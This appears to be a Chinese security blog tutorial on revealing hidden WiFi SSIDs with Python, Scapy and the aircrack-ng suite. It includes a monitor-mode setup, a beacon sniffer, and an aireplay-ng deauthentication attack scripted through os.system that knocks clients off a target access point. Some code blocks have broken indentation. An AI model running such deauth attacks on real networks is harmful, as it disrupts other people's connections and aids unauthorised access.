利用Python和Scapy发现隐藏无线热点

从WiFi万能钥匙导致密码泄漏,到央视“315”晚会曝光无线的危险,到前几天京东因无线密码泄漏导致被内网漫游,让我们不得不开始关注无线安全。因为一旦无线被破解,以目前的无线架构的特点来说,基本上就等于进了家门,危险程度还是很高的。

wifi

今天主要想跟大家聊聊如何找出隐藏无线SSID的。

0×00  说说已有的东西

如何找出隐藏无线热点SSID不是一个新的话题,网上搜一下,这种教程也很多,不过大多数是需要借助一些工具比如wireshark或者CommView等来进行抓包操作辅助完成,大体的方式和流程是像这样:

1

这样:

2

这样:

3

这样:

4

这样就找到了我们的无线热点了。不多做解释,需要的同学请自行百度。

其实这样的方式也没有什么不好的,因为我比较懒,所以有了这篇文章。

0×01  大体思路

思路是这样的:

1、判断周围环境是否存在隐藏无线热点
2、根据隐藏无线热点特征获取无线热点的BSSID
3、使用aireplay对目标热点进行攻击使客户端下线重连
4、重连过程中抓取包请求同时进行包过滤获取有用信息
5、得到隐藏热点的SSID

0×02  测试环境

惯例说一下测试环境:

系统:     Ubuntu14.04
Python版本:2.7.6
工具:    aircrack套(主要使用airmon-ng和aireplay工具)

0×03 启用监听模式

首先我们需要把我们的网卡启动到监听模式。这里就需要用到aircrack套件了。

使用以下命令开启监听模式:

sudo airmon-ng start wlan0

这里因为我需要最终写到python中,所以使用了os.popen()函数来执行这条命令。

贴上这部分python代码:

#判断是否开启监听模式
ifa = os.popen('ifconfig  | grep mon0 | cut -d " " -f 1')
ifb = ifa.read()
if ifb != 'mon0\n':
    print '正在开启监听模式……\n'
    f = os.popen('airmon-ng start wlan0')
    f.read()
    f.close
if ifb == 'mon0\n':
    pass
ifa.close()

0×04 发现隐藏无线热点

FreeBuf小知识

介绍这部分之前,我们需要首先了解一些关于嗅探到的包的信息,以便于我们后文可以对包进行过滤操作:

wlan.fc.type == 0           管理帧(Management frames)
wlan.fc.type == 1           控制帧(Control frames)
wlan.fc.type == 2           数据帧(Data frames)
wlan.fc.type_subtype == 0   关联请求(Association request)
wlan.fc.type_subtype == 1   关联响应(Association response)
wlan.fc.type_subtype == 2   重连请求(Reassociation request)
wlan.fc.type_subtype == 3   重连响应(Reassociation response)
wlan.fc.type_subtype == 4   帧请求(Probe request)
wlan.fc.type_subtype == 5   帧响应(Probe response)
wlan.fc.type_subtype == 8   信标(Beacon)

/FreeBuf小知识

因 为我们这里主要是为了发现隐藏的无线热点,而隐藏SSID只能在连接请求和连接响应中获取,但是连接请求中可能会出现我们不想要的内容(比如手机记忆的但 是非我们想要的SSID),所以这里我们主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要获取周围设 备所记忆的无线热点名称,则可以用subtype=4辅助发现,这里我们不多做解释。

接下来我将一步一步解释我做这个时所遇到的问题。

首先,我们需要先发现周围的无线热点,发现无线的代码如下:

def PacketHandler(pkt):
    if pkt.haslayer(Dot11):
        if pkt.type == 0 and pkt.subtype == 8:
            if pkt.addr2 not in aps:
                aps.append(pkt.addr2)
                cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
                if re.search('privacy', cap):
                    a = '加密状态:Yes\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
                    with open('test.txt', 'a+') as t:
                    t.write(a+'\n')
                    print a
                else:
                    b = '加密状态:No\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
                    with open('test.txt', 'a+') as t:
                    t.write(b+'\n')
                    print b
sniff(iface = 'mon0', prn = PacketHandler)

执行之后的结果是这样的

5

嗅探结果就是这样的,可以看出周围的无线环境比较复杂,小编能在如此复杂的网络环境中保持一颗纯真的童心,实属不易。

细心的同学可能已经发现了,这里的无线混入了一个奇怪的东西:

6

没错,这个空空的SSID就是我建的隐藏无线热点,到这里就简单啦,只要判断SSID是否为空值就可以了,然后根据空值判断出周围存在隐藏无线,从而获取到BSSID,好像很轻松嘛,可是事实真的如此吗?

在我想要按照以上思路走的时候我才发现事实并非如此。用SSID为空的条件根本获取不到任何东西,这就奇怪了,于是我将无线信息写入到一个文本中,想看一下究竟发生了什么,结果如下:

7

终于恍然大悟,我解释一下,看明白的直接略过这一步:

隐藏SSID的无线的SSID其实并非为空值,而是将所有的SSID字符以十六进制的0×00进行填充,因为我们的设备都无法正常显示0×00这个值,所以看起来就像是空值。

知道了原因就好解决了,我使用了binascii库进行了值的转换,解决代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':#判断名称是否为空
    print '发现隐藏无线热点! BSSID是 %s\n' %pkt.addr2

因为我们无法确定目标热点的SSID究竟使用了几个字符,而一般的无线名称是不会出现0×00这个值的,因此我切取了前两个值进行判断。

0×05 获取BSSID并进行攻击

获取BSSID代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':
    addr = pkt.addr2

好吧就是一个赋值操作(唉?谁扔的臭鸡蛋?你出来!)

然后进行攻击:

攻击的过程实际就是向热点发送deauth包,然后强制客户端下线,这里我们使用aireplay,命令如下:

aireplay-ng --deauth 0 -a addr mon0 --ignore-negative-one

执行结果是这样的:

8

攻击一会儿我们的目的就达到了,然后手动停止攻击,写成python代码如下:

os.system('aireplay-ng --deauth 0 -a '+addr+' mon0 --ignore-negative-one')

但是需要注意的是,在我实际测试的过程中,即便是不进行攻击操作也是可以获取到SSID的,所以如果不是长时间无法获取SSID,一般我们不用这个。

0×06 抓取过滤

接下来就是抓包时间,同时对抓到的包进行过滤处理,主要代码如下:

if pkt.haslayer(Dot11):
    if pkt.addr2 == addr:
        try:
            #print pkt.info#该行为调试行
            if binascii.hexlify(pkt.info)[:2] != '00':
            if pkt.addr2 not in aps2:
                aps2.append(pkt.addr2)
                cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
                print '隐藏无线热点名称是:'+pkt.info+'\n'
                if re.search("privacy", cap):
                    print pkt.info+'已加密'
                else:
                    print pkt.info+'未加密'
                print '正在关闭监听模式……\n'
                time.sleep(1)

上一篇:云控攻击之“人生在世”木马分析

下一篇:浅析点击劫持(click jacking)